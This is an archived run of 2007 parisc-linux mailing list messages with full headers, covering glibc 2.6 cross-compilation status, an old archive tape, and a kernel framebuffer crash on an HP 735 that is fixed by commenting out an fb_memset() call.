User-Agent: KMail/1.9.7
In-Reply-To: <119aab440707281423s6f77803fi67015e6268d225bc@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qYyYfnwbMmAobLSZZGFnF6ExMjQ1N10p
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24740

--===============0926245548==
Content-Type: multipart/signed; boundary="nextPart1672387.QTWi1fsIXl";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1672387.QTWi1fsIXl
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 28 July 2007, Carlos O'Donell wrote:
> On 7/28/07, Mike Frysinger <vapier@gentoo.org> wrote:
> > is it worth trying to make vanilla glibc-2.6 work ?  once i fixed
> > elf/elf.h to have all of the new PARISC defines, it cross-compiled fine
> > for me ... or is there more patches needed for runtime ?
>
> Yes, it is worth trying to make vanilla glibc-2.6 work.

ok, i'll start riding GMsoft ;)

> Note that because sometime compiles OK doesn't mean it actually
> functions. Did you have any test failures?

right, i wasnt proposing compile =3D=3D means life is great.  it's trivial =
for me=20
to cross-compile on my fast ppc64 machines (~15 minutes), i wanted to find=
=20
out the expected status before i go building it natively on a parisc box=20
(~many hours).

> My current set of libc and libc-ports patches:
> http://www.parisc-linux.org/~carlos/libc-2007-07-28.diff
> http://www.parisc-linux.org/~carlos/libc-ports-2007-07-28.diff
>
> My current set of unaudited failures:
> http://www.parisc-linux.org/~carlos/libc-error-2007-07-28.txt

thanks for the info
=2Dmike

--nextPart1672387.QTWi1fsIXl
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.5 (GNU/Linux)

iQIVAwUARqu19EFjO5/oN/WBAQLJxQ//eG4iz3BwX3Vk9G/4bhFjOg3eJTplwgaU
IZsUfq2a2XBMFchfrhH6Mw789tBNnJvPBP9dTFBReW+W1uS0DGOQnZzeR+aNxWCK
GuerEoeoit7yz9NpJFNT5lzjvhMQPdi7QRg3860cK+s5XzNM7qdOKMActFIoqOpS
/Y6zLagXNIlr2s3RblAhsMcUTy8DPxKBmVVAvDkFqNhKVmInHb+Jz3Pl6H3TIjMJ
9bZE3y/Md/wdK7E9DfV/aU40aEwhoSuY8aXcMVCBbWwtwstSV+3RdDKUeUEdZwin
VnRzD6zWmVgHkjpBzuJJfkJ7bPxzkzItQkLXTvvrX2yU9tPQgjooDeoVyW2qKg+9
RiCMVP2ie8q5lLSvRMfGz2Gd6Iiy5A2zIjBfoAgzbblYEJ0ZqjvfN/Re0WeleK+V
NjZdQ164rnNogMsojLCsUSVQlAWNAFHDsBYNPMqiwYslsrPMySFo3JjB4iRv7vkH
qx+uWpQeS2vaE6SXacyok2nsichmpjXrFM41fVQB7KN1LLRoiZVOW2Qg3wMwks1k
HkiywLI4xsOmRvE8XxKVx+3Tg+osXUdIson3j77Vo6r3i7Htl1LgDTToA7dcwloU
01beUZx6OyKfkye+7m3Rq6bL7mTTNCFtNww2/2NOMUemtR5k7JfnIiis28kAkjSK
suGqYHyrg+c=
=Haiv
-----END PGP SIGNATURE-----

--nextPart1672387.QTWi1fsIXl--

--===============0926245548==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0926245548==--



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Historical artifacts ... going, going
Date: Sun, 29 Jul 2007 14:45:11 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <200707291445.12110.deller__6426.81747344813$1416624420$gmane$org@gmx.de>
References: <20070725134259.GL26883@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624420 24804 80.91.229.3 (22 Nov 2014 02:47:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:00 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 12:45:35 -0000
Original-Received: from unknown (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 29 Jul 2007 14:45:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CF457DD07;
	Sun, 29 Jul 2007 06:45:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11159-09; Sun, 29 Jul 2007 06:45:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0ACE17DD02;
	Sun, 29 Jul 2007 06:45:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7205D7DCCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 06:45:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11150-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 06:45:19 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C2BBC7DCAC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 06:45:18 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jul 2007 12:45:16 -0000
Original-Received: from mnhm-590c0a20.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.10.32]
	by mail.gmx.net (mp045) with SMTP; 29 Jul 2007 14:45:16 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070725134259.GL26883@parisc-linux.org>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xLmVfhIRYW0/ZLuGbmZp0L50amthc1v/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24741

On Wednesday 25 July 2007, Matthew Wilcox wrote:
> I found a DAT today with the following contents on it.  Looks like it
> may have been a snapshot of the p-l ftp archive, possibly taken for
> transport to a show or something.  Anyone want to preserve these for
> historical purposes, or can I just write over this tape?

Maybe you could upload them somewhere to a "historical" directory on ftp.parisc-linux.org ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 15:08:14 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <200707291508.14810.deller__46768.0325768471$1416624421$gmane$org@gmx.de>
References: <8C996C28EAB2003-444-120B@WEBMAIL-MA12.sysops.aol.com>
	<200707172303.06515.deller@gmx.de>
	<8C99D001206F8C3-1154-788@webmail-dd01.sysops.aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624421 24812 80.91.229.3 (22 Nov 2014 02:47:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kurtm22@netscape.net
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 13:08:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 29 Jul 2007 15:08:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C871B7DD07;
	Sun, 29 Jul 2007 07:08:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13191-07; Sun, 29 Jul 2007 07:08:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6CBF7DD0D;
	Sun, 29 Jul 2007 07:08:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 483687DCDE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 07:08:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13191-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 07:08:17 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 167A57DCAC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 07:08:16 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jul 2007 13:08:15 -0000
Original-Received: from mnhm-590c0a20.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.10.32]
	by mail.gmx.net (mp018) with SMTP; 29 Jul 2007 15:08:15 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <8C99D001206F8C3-1154-788@webmail-dd01.sysops.aol.com>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eaefcipnTXs8bKyRbmQ5BNtKRzdyMgOd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24742

Hi Kurt,

On Wednesday 25 July 2007, kurtm22@netscape.net wrote:
> I did what you suggested and built a new kernel from scratch using the 2.6.22
> source tar.? I did not comment out the fb_memset() call in stifb.c
> prior to the build so I could post the crash results - perhaps
> it will provide more insight to what is going on:
> 
> sticon: Initializing sti text console
> Console: switching to colour STI console 160x64
> Backtrace:
> ??? [<1044e1b0>] stifb_init_fb+0x67c/0x928
> ??? [<1044e4c4>] stifb_init+0x68/0xf8
> ??? ? [<1043d4187>] kernel_init+0xfc/0x2c8
> ??? [<10109c5c>] ret_from_kernel_thread+0x1c/0x24
> 
> kernel fault:? code=15? regs=10984200? (addr=f9000000)
> 
> I can post more of the dump if you need it.? I left the machine 
> sitting there as i am writing down what I see on the screen.

code 15 means "Data TLB miss fault/Data page fault", so in fact it writes to memory it shouldn't, or in a way it shouldn't.
I still suspect the fb_memset() call.
Nevertheless, without more info, esp. where in the C-file/stifb_init_fb() function is 0x67c I can't do more.
Please read http://parisc-linux.org/faq/kernelbug-howto.html, esp. the section "More advanced bug reports".
It describes how to find the problematic code lines.
Alternatively, just comment out the fb_memset() call and try again.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kurtm22@netscape.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 10:42:15 -0400
Lines: 177
Approved: news@gmane.org
Message-ID: <8C9A005CA9EA817-9F4-ADB9__49243.4579799466$1416624421$gmane$org@FWM-D07.sysops.aol.com>
References: <8C996C28EAB2003-444-120B@WEBMAIL-MA12.sysops.aol.com> <200707172303.06515.deller@gmx.de> <8C99D001206F8C3-1154-788@webmail-dd01.sysops.aol.com> <200707291508.14810.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
  boundary="--------MB_8C9A005CA9EA817_9F4_15E98_FWM-D07.sysops.aol.com"
X-Trace: ger.gmane.org 1416624421 24818 80.91.229.3 (22 Nov 2014 02:47:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kurtm22@netscape.net>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 14:42:22 -0000
Original-Received: from imo-d06.mx.aol.com (EHLO imo-d06.mx.aol.com) [205.188.157.38]
  by mx0.gmx.net (mx087) with SMTP; 29 Jul 2007 16:42:22 +0200
Original-Received: from kurtm22@netscape.net
	by imo-d06.mx.aol.com (mail_out_v38_r9.2.) id i.ce1.163c0272 (57879);
	Sun, 29 Jul 2007 10:42:16 -0400 (EDT)
Original-Received: from FWM-D07 (fwm-d07.webmail.aol.com [205.188.160.199]) by air-ia04.mail.aol.com (v118.4) with ESMTP id MAILINIA41-e21746aca748a2; Sun, 29 Jul 2007 10:42:16 -0400
In-Reply-To: <200707291508.14810.deller@gmx.de>
X-MB-Message-Source: WebUI
Original-Received: from 71.174.48.18 by FWM-D07.sysops.aol.com (205.188.160.199) with HTTP (WebMailUI); Sun, 29 Jul 2007 10:42:15 -0400
X-MB-Message-Type: User
X-Mailer: AIM WebMail 29047
X-AOL-IP: 205.188.160.199
X-Spam-Flag: NO
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fZ6ffncbMmAobLSZZGFnrmYxMjQ1N52D
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24743


----------MB_8C9A005CA9EA817_9F4_15E98_FWM-D07.sysops.aol.com
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="us-ascii"


 
Hi Helge,

I commented out the fb_memset call 
in stifb.c and your suspicions were correct!? 
Not only did the kernel boot but I got the full
GUI login screen.?? When I upgraded from
Woody to Sarge, I also had no GUI so perhaps
this problem was in Sarge too.

Do you have any tests you would like me
to perform on this machine - it's just a hobby
machine for me. 

Thanks for the pointer to the kernel bug page.

Regards,
Kurt


 


 

-----Original Message-----
From: Helge Deller <deller@gmx.de>
To: kurtm22@netscape.net
Cc: parisc-linux@lists.parisc-linux.org
Sent: Sun, 29 Jul 2007 9:08 am
Subject: Re: Boot problem with HPPA 735/125 w/ A1439A CRX










Hi Kurt,

On Wednesday 25 July 2007, kurtm22@netscape.net wrote:
> I did what you suggested and built a new kernel from scratch using the 2.6.22
> source tar.? I did not comment out the fb_memset() call in stifb.c
> prior to the build so I could post the crash results - perhaps
> it will provide more insight to what is going on:
> 
> sticon: Initializing sti text console
> Console: switching to colour STI console 160x64
> Backtrace:
> ??? [<1044e1b0>] stifb_init_fb+0x67c/0x928
> ??? [<1044e4c4>] stifb_init+0x68/0xf8
> ??? ? [<1043d4187>] kernel_init+0xfc/0x2c8
> ??? [<10109c5c>] ret_from_kernel_thread+0x1c/0x24
> 
> kernel fault:? code=15? regs=10984200? (addr=f9000000)
> 
> I can post more of the dump if you need it.? I left the machine 
> sitting there as i am writing down what I see on the screen.

code 15 means "Data TLB miss fault/Data page fault", so in fact it writes to 
memory it shouldn't, or in a way it shouldn't.
I still suspect the fb_memset() call.
Nevertheless, without more info, esp. where in the C-file/stifb_init_fb() 
function is 0x67c I can't do more.
Please read http://parisc-linux.org/faq/kernelbug-howto.html, esp. the section 
"More advanced bug reports".
It describes how to find the problematic code lines.
Alternatively, just comment out the fb_memset() call and try again.

Helge



 


________________________________________________________________________
Check Out the new free AIM(R) Mail -- Unlimited storage and industry-leading spam and email virus protection.

----------MB_8C9A005CA9EA817_9F4_15E98_FWM-D07.sysops.aol.com
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset="us-ascii"


<div> <br>
Hi Helge,<br>
<br>
I commented out the fb_memset call <br>
in stifb.c and your suspicions were correct!&nbsp; <br>
Not only did the kernel boot but I got the full<br>
GUI login screen.&nbsp;&nbsp; When I upgraded from<br>
Woody to Sarge, I also had no GUI so perhaps<br>
this problem was in Sarge too.<br>
<br>
Do you have any tests you would like me<br>
to perform on this machine - it's just a hobby<br>
machine for me. <br>
<br>
Thanks for the pointer to the kernel bug page.<br>
<br>
Regards,<br>
Kurt<br>
</div>

<div> <br>
</div>

<div> <br>
</div>
-----Original Message-----<br>
From: Helge Deller &lt;deller@gmx.de&gt;<br>
To: kurtm22@netscape.net<br>
Cc: parisc-linux@lists.parisc-linux.org<br>
Sent: Sun, 29 Jul 2007 9:08 am<br>
Subject: Re: Boot problem with HPPA 735/125 w/ A1439A CRX<br>
<br>






<div id="AOLMsgPart_0_fa16f12a-4251-4a40-b0da-e1334e3e9d9b" style="margin: 0px; font-family: Tahoma,Verdana,Arial,Sans-Serif; font-size: 12px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255);">

<pre style="font-size: 9pt;"><tt>Hi Kurt,<br>
<br>
On Wednesday 25 July 2007, <a href="mailto:kurtm22@netscape.net">kurtm22@netscape.net</a> wrote:<br>
&gt; I did what you suggested and built a new kernel from scratch using the 2.6.22<br>
&gt; source tar.? I did not comment out the fb_memset() call in stifb.c<br>
&gt; prior to the build so I could post the crash results - perhaps<br>
&gt; it will provide more insight to what is going on:<br>
&gt; <br>
&gt; sticon: Initializing sti text console<br>
&gt; Console: switching to colour STI console 160x64<br>
&gt; Backtrace:<br>
&gt; ??? [&lt;1044e1b0&gt;] stifb_init_fb+0x67c/0x928<br>
&gt; ??? [&lt;1044e4c4&gt;] stifb_init+0x68/0xf8<br>
&gt; ??? ? [&lt;1043d4187&gt;] kernel_init+0xfc/0x2c8<br>
&gt; ??? [&lt;10109c5c&gt;] ret_from_kernel_thread+0x1c/0x24<br>
&gt; <br>
&gt; kernel fault:? code=15? regs=10984200? (addr=f9000000)<br>
&gt; <br>
&gt; I can post more of the dump if you need it.? I left the machine <br>
&gt; sitting there as i am writing down what I see on the screen.<br>
<br>
code 15 means "Data TLB miss fault/Data page fault", so in fact it writes to <br>
memory it shouldn't, or in a way it shouldn't.<br>
I still suspect the fb_memset() call.<br>
Nevertheless, without more info, esp. where in the C-file/stifb_init_fb() <br>
function is 0x67c I can't do more.<br>
Please read <a href="http://parisc-linux.org/faq/kernelbug-howto.html" target="_blank">http://parisc-linux.org/faq/kernelbug-howto.html</a>, esp. the section <br>
"More advanced bug reports".<br>
It describes how to find the problematic code lines.<br>
Alternatively, just comment out the fb_memset() call and try again.<br>
<br>
Helge<br>
</tt></pre>
</div>
 <!-- end of AOLMsgPart_0_fa16f12a-4251-4a40-b0da-e1334e3e9d9b -->

<div class="AOLPromoFooter">
<hr style="margin-top:10px;" />
<a href="http://pr.atwola.com/promoclk/100122638x1081283466x1074645346/aol?redir=http%3A%2F%2Fwww%2Eaim%2Ecom%2Ffun%2Fmail%2F" target="_blank"><b>Check Out the new free AIM(R) Mail</b></a> -- Unlimited storage and industry-leading spam and email virus protection.<br />
</div>

----------MB_8C9A005CA9EA817_9F4_15E98_FWM-D07.sysops.aol.com--



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 17:34:05 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <200707291734.05932.deller__18288.9838739813$1416624422$gmane$org@gmx.de>
References: <8C996C28EAB2003-444-120B@WEBMAIL-MA12.sysops.aol.com>
	<200707291508.14810.deller@gmx.de>
	<8C9A005CA9EA817-9F4-ADB9@FWM-D07.sysops.aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624422 24860 80.91.229.3 (22 Nov 2014 02:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kurtm22@netscape.net
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 15:34:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 29 Jul 2007 17:34:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C32287DD19;
	Sun, 29 Jul 2007 09:34:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14069-07; Sun, 29 Jul 2007 09:34:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC4927DD12;
	Sun, 29 Jul 2007 09:34:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A5A57DD0D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 09:34:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14069-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 09:34:09 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id CE82A7DD0C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 09:34:08 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jul 2007 15:34:07 -0000
Original-Received: from mnhm-590c0a20.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.10.32]
	by mail.gmx.net (mp050) with SMTP; 29 Jul 2007 17:34:07 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <8C9A005CA9EA817-9F4-ADB9@FWM-D07.sysops.aol.com>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
